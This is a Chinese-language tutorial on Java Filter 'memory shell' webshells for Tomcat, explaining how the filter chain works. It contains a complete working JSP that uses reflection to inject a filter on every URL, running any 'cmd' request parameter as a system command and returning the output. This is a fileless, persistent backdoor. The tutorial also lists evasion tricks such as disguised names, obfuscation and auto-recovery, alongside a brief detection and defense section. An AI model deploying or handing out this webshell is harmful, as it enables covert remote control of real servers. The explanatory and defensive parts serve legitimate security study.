java Filter内存马
字数 2219 2025-08-11 08:36:20
Java Filter内存马技术详解
一、Filter内存马概述
Filter内存马是一种基于Java Servlet Filter机制的无文件Webshell技术,通过动态注册恶意Filter到Tomcat容器中,实现持久化控制。与传统的文件上传型Webshell不同,内存马无需在服务器上写入文件,具有更强的隐蔽性。
二、Filter机制原理分析
1. Filter工作流程
-
请求处理流程:
- 客户端向服务器发送HTTP请求
- 服务器内部链式调用doFilter方法
- 请求到达Web资源
- 响应链式返回客户端
-
FilterChain创建:
- 在
StandardWrapperValve#invoke中利用ApplicationFilterFactory创建Filter链 - 创建
ApplicationFilterChain对象 createFilterChain方法先创建空filterchain,再将其添加到request对象中
- 在
-
Filter匹配过程:
- 获取wrapper的父context(当前web应用)
- 从context中获取所有filterMaps(过滤器与URL的映射表)
- 根据请求路径在filterMaps中寻找匹配的filter名称
- 通过
addFilter将匹配的filterConfig添加到filterChain中
2. Filter执行流程
- 根据请求URL从context的FilterMaps中找出对应的Filter名称
- 根据Filter名称从FilterConfigs中寻找对应的FilterConfig
- 将找到的FilterConfig添加到FilterChain中
- 对于chain中的每个filterConfig:
- 从FilterConfig中获取Filter实例
- 调用Filter的doFilter方法
三、关键数据结构
在StandardContext中,有三个关键成员变量:
-
filterConfigs:
Map<String, ApplicationFilterConfig>- 键(key)为过滤器名
- 值(value)为filterConfig对象
- 存放FilterDef和Filter对象等信息
-
filterDefs:
Map<String, FilterDef>- 存放filterDef的数组
- FilterDef存储过滤器名、过滤器实例等基本信息
-
filterMaps:
FilterMap[]- 存放FilterMap的数组
- FilterMap存储FilterName和对应的URLPattern
四、内存马注入技术实现
1. 获取StandardContext对象
// 获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();
// 反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
// 反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);
2. 创建恶意Filter
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始构造完成");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)
throws IOException, ServletException {
// 命令执行逻辑
String cmd = servletRequest.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader bufferedReader = new BufferedReader(
new InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
};
3. 动态注册Filter
// 定义filter名称
String name = "filterDemo";
// 检查是否已存在同名filter
if (filterConfigs.get(name) == null) {
// 创建FilterDef并设置属性
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
// 添加FilterDef到StandardContext
standardContext.addFilterDef(filterDef);
// 创建FilterMap并设置映射关系
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/a"); // 匹配的URL模式
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
// 将FilterMap添加到最前面
standardContext.addFilterMapBefore(filterMap);
// 创建ApplicationFilterConfig
Constructor constructor = ApplicationFilterConfig.class
.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
constructor.newInstance(standardContext, filterDef);
// 将filterConfig添加到filterConfigs中
filterConfigs.put(name, filterConfig);
}
五、完整JSP实现示例
<%@ page import="java.io.*" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.*" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.util.*" %>
<%@ page import="org.apache.catalina.Context" %>
<%!
class MaliciousFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
@Override
public void destroy() {}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) request;
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
response.getWriter().write(sb.toString());
return;
}
chain.doFilter(request, response);
}
}
%>
<%
// 获取StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
// 获取filterConfigs
Field configs = standardContext.getClass().getDeclaredField("filterConfigs");
configs.setAccessible(true);
Map filterConfigs = (Map) configs.get(standardContext);
// 定义filter名称
String filterName = "evilFilter";
// 检查并注入
if (filterConfigs.get(filterName) == null) {
// 创建恶意Filter实例
Filter filter = new MaliciousFilter();
// 创建并配置FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
// 添加到StandardContext
standardContext.addFilterDef(filterDef);
// 创建FilterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/*"); // 匹配所有URL
filterMap.setDispatcher(DispatcherType.REQUEST.name());
// 添加到最前面
standardContext.addFilterMapBefore(filterMap);
// 创建并添加FilterConfig
Constructor constructor = ApplicationFilterConfig.class
.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
constructor.newInstance(standardContext, filterDef);
filterConfigs.put(filterName, filterConfig);
out.println("Inject Success!");
} else {
out.println("Already Injected!");
}
%>
六、技术要点总结
-
StandardContext获取:
- 通过ServletContext → ApplicationContext → StandardContext的反射链获取容器核心对象
-
三大关键数据结构:
- filterDefs:存储Filter定义信息
- filterMaps:存储Filter与URL的映射关系
- filterConfigs:存储Filter运行时配置
-
注入流程:
- 创建恶意Filter实现类
- 通过FilterDef封装Filter定义
- 通过FilterMap建立URL映射
- 通过ApplicationFilterConfig创建运行时配置
- 将以上三个部分分别添加到StandardContext的对应属性中
-
持久化原理:
- StandardContext会一直保留到Tomcat生命周期结束
- 每次请求都会将匹配的filter加入到filterchain中执行
七、防御与检测
1. 检测思路
-
Filter名称检测:
- 检查是否存在可疑的Filter名称
- 如随机字符串、非常规命名等
-
类名检测:
- 检查Filter对应的类名是否合理
- 是否存在于正常业务中
-
类来源检测:
- 检查Filter类是否在classpath下
- 是否为动态生成的类
-
配置文件检查:
- 检查web.xml中是否存在该filter声明
- 内存中的filter是否与配置文件一致
2. 防御措施
-
禁用反射:
- 通过SecurityManager限制反射调用
-
权限控制:
- 严格控制应用对容器内部对象的访问权限
-
运行时监控:
- 监控Filter的动态注册行为
- 建立Filter白名单机制
-
代码审计:
- 检查JSP等动态页面中的可疑代码
- 特别关注反射和类动态加载操作
八、高级技术延伸
-
内存马免杀技术:
- 使用正常业务类名伪装
- 将恶意代码分散到多个方法中
- 采用加密或混淆技术
-
多级代理技术:
- 通过多级Filter代理隐藏真实恶意Filter
- 采用条件触发机制
-
无反射实现:
- 通过JNDI或其他方式避免使用反射
- 利用Tomcat内部API直接调用
-
持久化技术:
- 利用Tomcat生命周期事件实现自动恢复
- 通过线程注入实现无Filter内存马
九、总结
Filter内存马技术利用了Java Servlet规范中Filter机制的灵活性,通过动态注册方式实现无文件持久化控制。理解其技术原理不仅有助于安全研究人员进行防御,也能帮助开发人员编写更安全的代码。防御此类攻击需要从多个层面入手,包括但不限于代码审计、运行时监控和权限控制等。